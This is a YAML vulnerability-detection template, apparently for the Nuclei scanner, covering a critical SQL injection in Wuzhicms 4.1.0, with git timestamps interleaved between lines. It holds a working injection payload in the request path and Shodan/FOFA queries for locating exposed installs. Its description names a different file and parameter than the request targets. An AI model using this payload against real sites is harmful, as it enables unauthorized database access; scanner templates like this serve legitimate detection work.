2021-04-23 12:56:43 +00:00
id : wuzhicms-sqli
2022-04-22 10:38:41 +00:00
2021-04-23 12:56:43 +00:00
info :
2022-09-29 13:38:41 +00:00
name : Wuzhicms 4.1.0 - SQL Injection
2021-04-23 12:56:43 +00:00
author : princechaddha
2022-09-29 13:38:41 +00:00
severity : critical
2022-11-17 11:38:30 +00:00
description : |
Wuzhicms 4.1.0 contains a SQL injection vulnerability via the grouppid parameter of /coreframe/app/member/admin/group.php. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
2022-04-22 10:38:41 +00:00
reference :
- https://github.com/wuzhicms/wuzhicms/issues/184
2022-09-29 13:38:41 +00:00
- https://vulners.com/cnvd/CNVD-2022-36985
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10.0
cwe-id : CWE-89
2022-11-17 11:38:30 +00:00
metadata :
verified : true
shodan-query : http.html:"Wuzhicms"
fofa-query : title="Wuzhicms"
2021-04-23 12:56:43 +00:00
tags : wuzhicms,sqli
2022-06-30 03:16:19 +00:00
variables :
num : "999999999"
2021-04-23 12:56:43 +00:00
requests :
- method : GET
path :
2022-11-17 11:32:33 +00:00
- "{{BaseURL}}/api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20md5({{num}})),0x7e),1)--%20"
2022-06-30 03:16:19 +00:00
2021-04-23 12:56:43 +00:00
matchers-condition : and
matchers :
- type : word
2022-11-17 11:32:33 +00:00
part : body
2021-04-23 12:56:43 +00:00
words :
2022-11-17 06:25:13 +00:00
- 'c8c605999f3d8352d7bb792cf3fdb25'
2022-06-30 03:16:19 +00:00
- type : status
status :
- 200
2022-12-13 20:36:48 +00:00
# Enhanced by md on 2022/12/13
